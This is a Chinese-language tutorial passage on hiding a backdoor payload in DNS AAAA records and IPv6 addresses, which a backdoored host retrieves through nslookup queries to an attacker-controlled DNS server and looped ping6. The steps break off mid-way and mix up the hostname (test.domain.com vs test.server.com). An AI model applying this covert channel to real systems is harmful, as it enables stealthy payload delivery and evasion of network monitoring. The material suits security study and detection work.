利用DNS AAAA记录和IPv6地址传输后门

一、前言

在本文中，我想解释如何在DNS流量中利用IPv6地址(AAAA)记录传输Payload。在我之前的文章中，我解释了如何利用DNS和PTR记录，现在我们将讨论AAAA记录。

本文分为两部分:

• 第一部分：DNS AAAA记录和ICMPv6
• 第二部分：DNS和AAAA记录(大的DNS AAAA记录响应)

二、DNS AAAA记录和ICMPv6

IPv6地址对于传输Payload非常有用，让我解释下如何完成这个例子。

举个例子，我们有一个IPv6地址如下：

1. fe80:1111:0034:abcd:ef00:ab11:ccf1:0000 

这个例子中，我们能将xxxx部分用于我们的Payload。

1. fe80:1111:xxxx:xxxx:xxxx:xxxx:xxxx:wxyz 

我认为我们有两种方式将IPv6地址用于我们的Payload，第一个是我们使用DNS和AAAA记录，第二个是使用这些IPv6地址和DNS AAAA记录，也是Ping6的ICMPv6流量。

ICMPv6和Ping6：这个例子中，你能通过虚假的IPv6和注入的Payload来改变攻击者的IPv6地址，然后从后门系统中，你能通过循环Ping6得到这些IPv6地址(ICMPv6流量)。

因此我们有下面这些东西：

• (后门系统)ip地址 = {192.168.1.120}
• (攻击者系统)ip地址 = {192.168.1.111
• ,fe80:1111:0034:abcd:ef00:ab11:ccf1:0000}
• (攻击者系统)DNS名 = test.domain.com，和安装的DNS服务{dnsmasq或dnsspoof}

DNS AAAA记录和ICMPv6步骤：

步骤1：(攻击者DNS服务器)record0=>fe80:1111:0034:abcd:ef00:ab11:ccf1:0000 AAAA test.domain.com

步骤2：(后门系统)==>nslookup test.server.com 192.168.1.111

步骤3：(后门系统)循环Ping6=>(攻击者系统fe80:1111:0034:abcd:ef00:ab11:ccf1:0000)

步骤4：(后门系统)通过Ping6响应在IPv6地址中转储出注入的Payload，转储这些部分{0034:abcd:ef00:ab11:ccf1｝

步骤5：(攻击者DNS服务器)record0改为新的test.domain.com

步骤6：(攻击者DNS服务器)record0=>fe80:1111:cf89:abff:000e:09b1:33b1:0001 AAAA test.domain.com

步骤6-1：(攻击者系统)通过ifconfig添加或改变NIC IPv6地址{新的IPv6地址：fe80:1111:cf89:abff:000e:09b1:33b1:0001}

步骤6-2：关于步骤3的ping6的响应=超时或不可达(错误)，这个时间是获取新的IPv6地址的标志，或者你的流量被某些东西检测到并阻止了。

步骤7：(后门系统)=>nslookup test.ser